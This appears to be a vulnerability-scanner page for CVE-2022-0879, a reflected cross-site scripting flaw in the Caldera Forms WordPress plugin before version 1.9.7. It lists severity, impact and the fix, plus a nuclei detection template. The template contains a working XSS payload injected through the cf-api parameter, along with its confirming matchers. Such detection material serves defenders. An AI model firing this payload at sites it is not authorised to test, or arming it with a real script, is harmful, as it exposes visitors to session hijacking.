Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to version 1.9.7 or later.

How to confirm it

Send: GET {{BaseURL}}/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "onmouseover=alert(1)", "caldera", " style=position:fixed") and !regex(body, "value=[\"\\\\]*/?cf-api=")

Run it with nuclei: nuclei -id CVE-2022-0879 -u <target>

The full check

id: CVE-2022-0879

info:
  name: Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 1.9.7 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0879
    - https://wpscan.com/vulnerability/10e8e92a-4e1d-4e9c-8b3e-e8c5e0e0e0e0
    - https://github.com/20142995/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0879
    cwe-id: CWE-79
    epss-score: 0.01165
    epss-percentile: 0.67558
    cpe: cpe:2.3:a:calderaforms:caldera_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
  tags: wpscan,cve,cve2022,wordpress,xss,caldera-forms,reflected,unauth,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "onmouseover=alert(1)", "caldera", " style=position:fixed")'
          - '!regex(body, "value=[\"\\\\]*/?cf-api=")'
        condition: and

References

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